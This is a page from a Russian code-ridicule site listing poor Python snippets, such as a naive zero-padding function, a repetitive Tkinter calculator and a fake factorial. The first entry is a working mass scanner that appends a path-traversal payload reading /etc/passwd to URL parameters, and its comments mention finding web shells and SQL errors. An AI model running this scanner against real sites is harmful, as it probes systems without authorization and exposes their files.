1. Python / Говнокод #449

    −424

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    #!/usr/bin/python
    #LinkScanSimple will take a list of sites and
    #add an extension after the = then search the 
    #source for a match you choose. 
    
    #For an LFI scan I use "root:" but for a shell location
    #I would choose the shell title (r57shell). For SQL
    #you can choose a common sql error.
    
    import sys, re, urllib2, sets, socket
    socket.setdefaulttimeout(5)
    
    #---------------------------------------------------------
    #Edit what you want added to the address.
    EXT = "../../../../../../../../../../../../etc/passwd" 
    
    #Edit what you want to search for.
    MATCH = "root:"
    #---------------------------------------------------------
    
    def parse_urls(links):
    	urls = []
    	for link in links: 
    		num = link.count("=")
    		if num > 0:
    			for x in xrange(num):
    				link = link.rsplit("=",x+1)[0]+"="
    				urls.append(link+EXT)
    	urls = list(sets.Set(urls))
    	return urls
     
    def test(host): 
     	print "[+] Testing:",host.replace(EXT,"")
    	try: 
    		source = urllib2.urlopen(host).read() 
    		if re.search(MATCH, source): 
    			print "[+] Found:",host
    		else: 
    			print "[-] Not Vuln." 
    	except:
    		pass 
     
    
    print "\n\t   d3hydr8[at]gmail[dot]com LinkScanSimple v1.0"
    print "\t-------------------------------------------------\n"
    			
    if len(sys.argv) != 2:
    	print "Usage : ./linkscan.py <site_list>"
    	print "Ex: ./linkscan.py sites.txt\n"
    	sys.exit(1)
    	
    try:
    	sites = open(sys.argv[1], "r").readlines()
    except(IOError): 
      	print "Error: Check your site list path\n"
      	sys.exit(1)
    
    print "[+] Loaded:",len(sites),"sites"
    urls = parse_urls(sites)
    print "[+] Links Found:",len(urls)
    for url in urls: 
    	try:
    		test(url.replace("\n",""))
    	except(KeyboardInterrupt):
    		pass
    print "\n[-] Scan Complete\n"

    guest, 23 Января 2009

    Комментарии (2)
  2. Python / Говнокод #418

    −421.8

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    def myint2str(x, n):
        zzeros = '0'
            input_string = str(x)
            string_len = len(input_string)
            for zz in range(1,n-string_len,1):
                zzeros = zzeros + '0'
    
            rres = zzeros+str(x)
            return rres

    Задача: написать функцию которая переводит целое число в строку определённого размера, содержащую это целое число и нули.

    То есть:
    5 >> 00005
    123 >> 00123

    Отсюда: http://koldunov.net/?p=194

    guest, 19 Января 2009

    Комментарии (5)
  3. Python / Говнокод #338

    −327.4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    #-*- coding:cp1251 -*-
    from Tkinter import *
    """ pyCalc by deluxe, thanks to Sanch0
    Калькулятор работает только с 2 числами и одним действием над ними."""
    # глобальные переменные
    x1=''
    x2=''
    deistvie=''
    # функции батонов ввода цифр и запятой
    # если действие еще не задано, заполняется х1, а если задано - х2
    # и значение переменной отражается на соотв. виджете
    def press1():  
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'1'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'1'
    		lblx2.configure(text=x2)
    def press2():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'2'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'2'
    		lblx2.configure(text=x2)
    def press3():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'3'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'3'
    		lblx2.configure(text=x2)
    def press4():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'4'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'4'
    		lblx2.configure(text=x2)
    def press5():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'5'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'5'
    		lblx2.configure(text=x2)
    def press6():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'6'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'6'
    		lblx2.configure(text=x2)
    def press7():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'7'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'7'
    		lblx2.configure(text=x2)
    def press8():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'8'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'8'
    		lblx2.configure(text=x2)
    def press9():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'9'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'9'
    		lblx2.configure(text=x2)
    def press0():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'0'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'0'
    		lblx2.configure(text=x2)
    def pressdot():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'.'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'.'
    		lblx2.configure(text=x2)

    guest, 06 Января 2009

    Комментарии (8)
  4. Python / Говнокод #313

    −430.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    #начало индусокода
    def desyatka(number):
        return int(number/10.0)
        
    def edenica(number):
        return number-desyatka(number)*10
    
    hours_string=[]
    for a in range(0,30):
        zzz=""
        if edenica(a)<5:
            zzz = " часа "
        if edenica(a)==1:
            zzz = " час "
        if desyatka(a)==1:
            zzz = " часов "
        if edenica(a)==0:
            zzz = " часов "
        if zzz=="":
            zzz=" часов "
        hours_string.append(zzz)
    
    minutes_string=[]
    for a in range(0,60):
        zzz=""
        if edenica(a)<5:
            zzz = " минуты "
        if edenica(a)==1:
            zzz = " минута "
        if desyatka(a)==1:
            zzz = " минут "
        if edenica(a)==0:
            zzz = " минут "
        if zzz=="":
            zzz=" минут "
        minutes_string.append(zzz)
        
    seconds_string=[]
    for a in range(0,60):
        zzz=""
        if edenica(a)<5:
            zzz = " секунды "
        if edenica(a)==1:
            zzz = " секунда "
        if desyatka(a)==1:
            zzz = " секунд "
        if edenica(a)==0:
            zzz = " секунд "
        if zzz=="":
            zzz=" секунд "
        seconds_string.append(zzz)
    #конец индусокода

    Ф-ии, склоняющие по падежам и временам слова "часов", "минут", секунд

    guest, 31 Декабря 2008

    Комментарии (0)
  5. Python / Говнокод #289

    −421

    1. 1
    2. 2
    def list2str(lst):
    	return reduce(lambda x,y:x+y,str(list(lst)).split("]")[0].split("[")[1].split(", "))

    Функция, переводящая список в строку

    guest, 26 Декабря 2008

    Комментарии (8)
  6. Python / Говнокод #265

    −152.7

    1. 1
    2. 2
    3. 3
    4. 4
    #TODO:Сделать функцию факториала
    def factorial(n):
      return str(n)+"!"
    #TODO:Сделать работающую функцию факториала

    Видимо человек не знает что такое стандартная библиотека

    guest, 24 Декабря 2008

    Комментарии (10)
  7. Python / Говнокод #144

    −229.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    if isinstance(labels, str):
                try:
                    labels = self.vs.get_attribute_values(labels)
                except KeyError:
                    labels = [x+1 for x in xrange(self.vcount())]
            elif labels is None:
                labels = [""] * self.vcount()
    
            if isinstance(colors, str):
                try:
                    colors = self.vs.get_attribute_values(colors)
                except KeyError:
                    colors = ["red" for x in xrange(self.vcount())]
    
            if isinstance(shapes, str):
                try:
                    shapes = self.vs.get_attribute_values(shapes)
                except KeyError:
                    shapes = [1]*self.vcount()
            if isinstance(edge_colors, str):
                try:
                    edge_colors = self.es.get_attribute_values(edge_colors)
                except KeyError:
                    edge_colors = ["black" for x in xrange(self.ecount())]
    
            if not isinstance(font_size, str):
                font_size = "%spx" % str(font_size)
            else:
                if ";" in font_size:
                    raise ValueError, "font size can't contain a semicolon"
    
            vc = self.vcount()
            while len(labels)<vc: labels.append(len(labels)+1)
            while len(colors)<vc: colors.append("red")
    
    #.........
    
            for eidx, edge in enumerate(self.es):
    #.........
                    print >>f, "    <g transform=\"translate(%.4f,%.4f)\" fill=\"%s\" stroke=\"%s\">" % (x2, y2, edge_colors[eidx], edge_colors[eidx]

    Ребята извращались как могли.
    [ol]
    [li]Заводят параллельно кучу массивов, чтобы в них хранить в них свойства объектов, чтобы затем при обходе списка объектов обратиться к ним по порядковому номеру в списке. Ну это еще можно понять, это просто не ООП[/li]
    [li]Демонстрируют умения в инициализации списка из одинаковых элементов несколькими способами[/li]
    [li]Влом было искать - еще ставят точки с запятой в конце строк и убедившись, что объект - строка, преобразуют его в строку.[/li]
    [/ol]

    guest, 13 Декабря 2008

    Комментарии (10)
  8. Python / Говнокод #130

    −229.2

    1. 1
    2. 2
    3. 3
    4. 4
    try:
        tray.pop_item('Note')
    except:
        pass

    Этот код вытаскивает (вытаскивал) элемент из трея. На каждом кадре. %)

    guest, 12 Декабря 2008

    Комментарии (0)
  9. Python / Говнокод #85

    −276.5

    1. 1
    2. 2
    3. 3
    4. 4
    text=string.replace(text,"<br>","\n")
    text=string.replace(text,"<BR>","\n")
    text=string.replace(text,"<Br>","\n")
    text=string.replace(text,"<bR>","\n")

    Twisted Words, протокол Oscar.
    Кусок функции dehtml()

    SvartalF, 09 Декабря 2008

    Комментарии (25)
  10. Python / Говнокод #84

    −187.2

    1. 1
    2. 2
    respons+="""<span class="gray">коэффициент:</span> %s<br />""" % str(koeff[0][5])
    respons+="""<br />"""

    Формирование "аяксового" ответа

    guest, 09 Декабря 2008

    Комментарии (4)